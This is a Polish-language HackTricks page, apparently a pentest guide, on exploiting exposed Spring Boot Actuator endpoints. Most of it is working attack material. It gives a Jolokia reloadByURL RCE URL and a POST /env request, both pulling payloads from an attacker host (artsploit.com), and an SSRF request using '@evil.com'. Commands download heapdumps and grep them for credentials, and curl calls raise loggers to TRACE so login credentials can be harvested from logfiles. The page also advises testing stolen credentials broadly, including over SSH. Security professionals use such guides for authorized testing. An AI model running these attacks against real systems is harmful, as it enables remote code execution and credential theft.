Spring Actuators

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Spring Auth Bypass

Źródło https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Wykorzystanie Spring Boot Actuators

Sprawdź oryginalny wpis: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Kluczowe punkty:

  • Spring Boot Actuators rejestrują endpointy takie jak /health, /trace, /beans, /env itd. W wersjach 1 do 1.4 te endpointy są dostępne bez uwierzytelniania. Od wersji 1.5 wzwyż tylko /health i /info są domyślnie niepoufne, ale deweloperzy często wyłączają to zabezpieczenie.
  • Niektóre endpointy Actuator mogą ujawniać poufne dane lub pozwalać na szkodliwe działania:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart oraz /heapdump.
  • W Spring Boot 1.x actuatory są rejestrowane pod root URL, podczas gdy w 2.x znajdują się pod bazową ścieżką /actuator/.

Techniki eksploatacji:

  1. Remote Code Execution via '/jolokia':
  • Endpoint /jolokia udostępnia bibliotekę Jolokia, która pozwala na dostęp HTTP do MBeans.
  • Akcja reloadByURL może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do blind XXE lub Remote Code Execution przy użyciu spreparowanych konfiguracji XML.
  • Przykładowy URL exploitu: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Jeśli obecne są biblioteki Spring Cloud, endpoint /env umożliwia modyfikację właściwości środowiskowych.
  • Właściwości można manipulować w celu wykorzystania luk, takich jak podatność deserializacji XStream w Eureka serviceURL.
  • Przykładowe żądanie POST exploit:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Inne przydatne ustawienia:
  • Właściwości takie jak spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url i spring.datasource.tomcat.max-active mogą być modyfikowane w różnych exploitach, np. do SQL injection lub zmiany connection stringów do bazy danych.

Dodatkowe informacje:

  • Kompleksową listę domyślnych actuatorów można znaleźć here.
  • Endpoint /env w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje taka sama.

Powiązane tematy:

  1. Env + H2 RCE:
  • Szczegóły dotyczące wykorzystania kombinacji endpointu /env i bazy H2 można znaleźć here.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Sposób, w jaki framework Spring obsługuje parametry macierzowe (;) w ścieżkach HTTP, może być wykorzystany do Server-Side Request Forgery (SSRF).
  • Przykładowe żądanie exploit:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

Jeśli /actuator/heapdump jest exposed, zwykle możesz pobrać pełny zrzut sterty JVM, który często zawiera live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps itp.).

  • Download and quick triage:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Deeper analysis with VisualVM and OQL:
  • Otwórz heapdump w VisualVM, przeglądaj instancje java.lang.String lub uruchom OQL, żeby znaleźć secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Automated extraction with JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Typowe wysokowartościowe znaleziska:

  • Obiekty Spring DataSourceProperties / HikariDataSource ujawniające url, username, password.
  • Wpisy OriginTrackedMapPropertySource ujawniające management.endpoints.web.exposure.include, porty serwisów oraz embedded Basic-Auth w URLach (np. Eureka defaultZone).
  • Fragmenty żądań/odpowiedzi HTTP zawierające Authorization: Basic ... uchwycone w pamięci.

Wskazówki:

  • Użyj wordlisty skoncentrowanej na Spring, aby szybko odkryć actuator endpoints (np. SecLists spring-boot.txt) i zawsze sprawdź, czy /actuator/logfile, /actuator/httpexchanges, /actuator/env i /actuator/configprops są również exposed.
  • Credentials z heapdump często działają też dla sąsiednich usług, a czasem dla użytkowników systemowych (SSH), więc testuj je szeroko.

Abusing Actuator loggers/logging to capture credentials

Jeśli management.endpoints.web.exposure.include na to pozwala i /actuator/loggers jest exposed, możesz dynamicznie podnieść poziomy logów do DEBUG/TRACE dla pakietów obsługujących uwierzytelnianie i przetwarzanie żądań. Połączone z czytelnymi logami (przez /actuator/logfile lub znane ścieżki logów) to może leakować credentials przesyłane podczas flow logowania (np. nagłówki Basic-Auth lub parametry formularzy).

  • Enumerate and crank up sensitive loggers:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Find where logs are written and harvest:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Wywołaj ruch logowania/auth i parsuj log pod kątem creds. W konfiguracjach mikroserwisowych z gateway przed auth, włączenie TRACE dla pakietów gateway/security często ujawnia nagłówki i treści formularzy. Niektóre środowiska nawet generują syntetyczny ruch logowania okresowo, co sprawia, że harvesting jest trywialny po zwiększeniu szczegółowości logów.

Uwagi:

  • Resetuj poziomy logów po zakończeniu: POST /actuator/loggers/<logger> z { "configuredLevel": null }.
  • Jeśli /actuator/httpexchanges jest exposed, może też ujawnić metadata ostatnich żądań, które mogą zawierać wrażliwe nagłówki.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks